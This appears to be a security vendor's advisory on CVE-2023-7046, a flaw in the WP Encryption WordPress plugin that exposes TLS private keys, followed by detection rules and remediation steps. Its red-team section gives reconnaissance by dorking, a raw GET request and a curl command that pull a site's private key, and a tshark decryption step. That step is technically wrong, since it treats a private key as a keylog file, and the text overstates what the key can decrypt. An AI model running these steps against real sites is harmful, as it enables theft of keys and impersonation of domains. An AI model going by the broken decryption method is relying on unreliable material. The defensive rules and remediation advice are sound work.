CVE-2023-7046

Executive Summary

CVE-2023-7046 is a critical information disclosure vulnerability affecting the WP Encryption WordPress plugin (versions up to and including 7.0). The plugin, designed to automate SSL certificate provisioning and HTTPS redirection, exposes TLS certificate private key files to unauthenticated attackers. This allows any remote user to download the private keys, effectively breaking the security of the HTTPS connection and enabling man-in-the-middle attacks, traffic decryption, and identity theft. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched, placing all sites using this plugin at immediate risk.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Since no patch is available, site administrators must consider the plugin a compromised component of their supply chain and take immediate action to remove or replace it.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – Complete disclosure of private keys.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The exposure of TLS private keys undermines the entire security model of the affected site, allowing attackers to impersonate the domain, decrypt traffic, and perform phishing attacks.

Deep Dive & Mechanics

The WP Encryption plugin stores generated TLS certificate private keys in a publicly accessible directory within the WordPress installation (typically /wp-content/plugins/wp-encryption/ or a subdirectory). The plugin fails to implement proper access controls (e.g., .htaccess deny rules or non-web-accessible storage) for these files. An unauthenticated attacker can directly request the private key file via HTTP, e.g.:

GET /wp-content/plugins/wp-encryption/keys/example.com.key HTTP/1.1
Host: target-site.com

The server returns the private key in plaintext. This key can then be used to decrypt any captured TLS traffic, sign malicious code, or impersonate the legitimate domain.

Vulnerable vs. Patched Code

Vulnerable Code (wp-encryption <= 7.0): The plugin stores keys in a web-accessible directory without any access control.

// vulnerable: no access restriction
$key_path = WP_CONTENT_DIR . '/plugins/wp-encryption/keys/' . $domain . '.key';
file_put_contents($key_path, $private_key);

Patched Code (Hypothetical): A patch would store keys outside the web root or implement strict access controls.

// patched: store outside web root
$key_path = ABSPATH . '../ssl-keys/' . $domain . '.key';
file_put_contents($key_path, $private_key);
// or use .htaccess to deny access

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Reconnaissance: Identify WordPress sites using WP Encryption via Shodan or Google dorks.
2. Key Extraction: Send a direct HTTP GET request to the known key path pattern.

curl -O http://target-site.com/wp-content/plugins/wp-encryption/keys/target.com.key

3. Decrypt Traffic: Use the extracted key to decrypt captured TLS traffic with Wireshark or tcpdump.

# Decrypt TLS session
tshark -r capture.pcap -o "ssl.keylog_file:target.com.key" -Y "ssl"

Blue Team (Defense & Detection)

1. Immediate Action: Remove or disable the WP Encryption plugin.
2. Key Rotation: Revoke and reissue all TLS certificates that were managed by the plugin.
3. Monitor Logs: Check web server access logs for requests to /wp-content/plugins/wp-encryption/keys/.

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/plugins/wp-encryption/keys/*.key
  • /wp-content/plugins/wp-encryption/keys/*.pem
• HTTP Requests:
  • GET /wp-content/plugins/wp-encryption/keys/
  • GET /wp-content/plugins/wp-encryption/keys/*.key
• Network Traffic:
  • Outbound connections from attacker IPs to the above paths.
• Log Entries:
  • "GET /wp-content/plugins/wp-encryption/keys/" 200
  • "GET /wp-content/plugins/wp-encryption/keys/*.key" 200

Detection Engineering

YARA Rule

rule wp_encryption_private_key_exposure {
    meta:
        description = "Detects exposed private key files from WP Encryption plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-7046"
    strings:
        $key_header = "-----BEGIN PRIVATE KEY-----"
        $key_path = "/wp-content/plugins/wp-encryption/keys/"
    condition:
        $key_header and $key_path
}

Sigma Rule

title: WP Encryption Private Key Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to exposed private key files from WP Encryption plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem|contains: "/wp-content/plugins/wp-encryption/keys/"
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2023-7046 WP Encryption Private Key Exposure";
    flow:to_server,established;
    content:"/wp-content/plugins/wp-encryption/keys/"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable and remove the WP Encryption plugin from all WordPress installations.
2. Short-term: Revoke all TLS certificates managed by the plugin and reissue them using a secure method (e.g., Let's Encrypt with Certbot).
3. Long-term: Implement a Web Application Firewall (WAF) rule to block requests to /wp-content/plugins/wp-encryption/keys/*.
4. Monitoring: Continuously monitor for any exposed key files using the provided YARA/Sigma rules.
5. Vendor Contact: Since no patch is available, consider switching to an alternative SSL management plugin.

Valters IT
DevSecOps & Cyber Threat Intelligence